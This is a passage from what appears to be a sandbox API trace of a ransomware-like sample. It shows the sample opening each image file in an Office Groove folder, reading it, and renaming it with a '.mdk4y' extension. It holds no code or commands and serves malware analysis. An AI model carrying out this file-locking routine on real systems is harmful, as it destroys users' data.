office\\office14\\groove\\toolbmps\\informationicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947200000) returned 1 [0214.242] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbe5, lpOverlapped=0x0) returned 1 [0214.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947300000) returned 1 [0214.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947300000) returned 1 [0214.243] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg.mdk4y")) returned 1 [0214.244] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.244] AreFileApisANSI () returned 1 [0214.244] GetACP () returned 0x4e4 [0214.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InformationIconMask.bmp", cchWideChar=23, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="InformationIconMask.bmpp", lpUsedDefaultChar=0x37dec0) returned 23 [0214.244] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947500000) returned 1 [0214.245] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x838, lpOverlapped=0x0) returned 1 [0214.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947600000) returned 1 [0214.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947600000) returned 1 [0214.246] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp.mdk4y")) returned 1 [0214.248] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.248] AreFileApisANSI () returned 1 [0214.248] GetACP () returned 0x4e4 [0214.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LoginDialogBackground.jpg", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LoginDialogBackground.jpgask.bmp", lpUsedDefaultChar=0x37dec0) returned 25 [0214.248] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947900000) returned 1 [0214.249] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xceed, lpOverlapped=0x0) returned 1 [0214.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828950700000) returned 1 [0214.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828950700000) returned 1 [0214.278] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg.mdk4y")) returned 1 [0214.279] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.279] AreFileApisANSI () returned 1 [0214.279] GetACP () returned 0x4e4 [0214.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LoginTool24x24Images.jpg", cchWideChar=24, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LoginTool24x24Images.jpgg", lpUsedDefaultChar=0x37dec0) returned 24 [0214.279] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828951500000) returned 1 [0214.285] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e93, lpOverlapped=0x0) returned 1 [0214.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952100000) returned 1 [0214.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952100000) returned 1 [0214.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg.mdk4y")) returned 1 [0214.293] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.293] AreFileApisANSI () returned 1 [0214.293] GetACP () returned 0x4e4 [0214.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LoginTool24x24ImagesMask.bmp", cchWideChar=28, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LoginTool24x24ImagesMask.bmp.bmp", lpUsedDefaultChar=0x37dec0) returned 28 [0214.293] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952400000) returned 1 [0214.294] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf8, lpOverlapped=0x0) returned 1 [0214.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952500000) returned 1 [0214.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952500000) returned 1 [0214.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp.mdk4y")) returned 1 [0214.296] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.296] AreFileApisANSI () returned 1 [0214.296] GetACP () returned 0x4e4 [0214.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MessageAttachmentIconImages.jpg", cchWideChar=31, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MessageAttachmentIconImages.jpgp", lpUsedDefaultChar=0x37dec0) returned 31 [0214.296] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952600000) returned 1 [0214.297] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x25e5, lpOverlapped=0x0) returned 1 [0214.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952800000) returned 1 [0214.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828952800000) returned 1 [0214.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg.mdk4y")) returned 1 [0214.299] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.299] AreFileApisANSI () returned 1 [0214.299] GetACP () returned 0x4e4 [0214.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MessageAttachmentIconImagesMask.bmp", cchWideChar=35, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MessageAttachmentIconImagesMask.bmppd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 35 [0214.300] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953100000) returned 1 [0214.301] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x838, lpOverlapped=0x0) returned 1 [0214.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953200000) returned 1 [0214.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953200000) returned 1 [0214.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp.mdk4y")) returned 1 [0214.303] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.303] AreFileApisANSI () returned 1 [0214.303] GetACP () returned 0x4e4 [0214.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MessageHistoryIconImages.jpg", cchWideChar=28, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MessageHistoryIconImages.jpgask.bmp", lpUsedDefaultChar=0x37dec0) returned 28 [0214.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953300000) returned 1 [0214.304] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x22f6, lpOverlapped=0x0) returned 1 [0214.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953500000) returned 1 [0214.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953500000) returned 1 [0214.305] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg.mdk4y")) returned 1 [0214.306] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.306] AreFileApisANSI () returned 1 [0214.306] GetACP () returned 0x4e4 [0214.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MessageHistoryIconImagesMask.bmp", cchWideChar=32, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MessageHistoryIconImagesMask.bmpbmp", lpUsedDefaultChar=0x37dec0) returned 32 [0214.306] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953700000) returned 1 [0214.307] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x140, lpOverlapped=0x0) returned 1 [0214.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953800000) returned 1 [0214.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828953800000) returned 1 [0214.308] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp.mdk4y")) returned 1 [0214.308] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.309] AreFileApisANSI () returned 1 [0214.309] GetACP () returned 0x4e4 [0214.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierBackground.jpg", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierBackground.jpgesMask.bmp", lpUsedDefaultChar=0x37dec0) returned 22 [0214.309] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828954000000) returned 1 [0214.310] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3efd, lpOverlapped=0x0) returned 1 [0214.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828954100000) returned 1 [0214.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828954100000) returned 1 [0214.311] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg.mdk4y")) returned 1 [0214.313] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.313] AreFileApisANSI () returned 1 [0214.313] GetACP () returned 0x4e4 [0214.313] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierBackgroundRTL.jpg", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierBackgroundRTL.jpgask.bmp", lpUsedDefaultChar=0x37dec0) returned 25 [0214.313] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828954300000) returned 1 [0214.313] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x40aa, lpOverlapped=0x0) returned 1 [0214.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828954400000) returned 1 [0214.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828954400000) returned 1 [0214.315] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg.mdk4y")) returned 1 [0214.316] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.317] AreFileApisANSI () returned 1 [0214.317] GetACP () returned 0x4e4 [0214.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierCloseButton.jpg", cchWideChar=23, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierCloseButton.jpgpg", lpUsedDefaultChar=0x37dec0) returned 23 [0214.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828954800000) returned 1 [0214.318] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2f2, lpOverlapped=0x0) returned 1 [0214.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828955700000) returned 1 [0214.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828955800000) returned 1 [0214.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg.mdk4y")) returned 1 [0214.329] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.330] AreFileApisANSI () returned 1 [0214.330] GetACP () returned 0x4e4 [0214.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierDisableDownArrow.jpg", cchWideChar=28, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierDisableDownArrow.jpg.bmp", lpUsedDefaultChar=0x37dec0) returned 28 [0214.330] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828956000000) returned 1 [0214.330] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2cc, lpOverlapped=0x0) returned 1 [0214.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828956200000) returned 1 [0214.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828956200000) returned 1 [0214.332] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg.mdk4y")) returned 1 [0214.334] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.334] AreFileApisANSI () returned 1 [0214.334] GetACP () returned 0x4e4 [0214.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierDisableUpArrow.jpg", cchWideChar=26, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierDisableUpArrow.jpgpg", lpUsedDefaultChar=0x37dec0) returned 26 [0214.334] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828956500000) returned 1 [0214.335] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 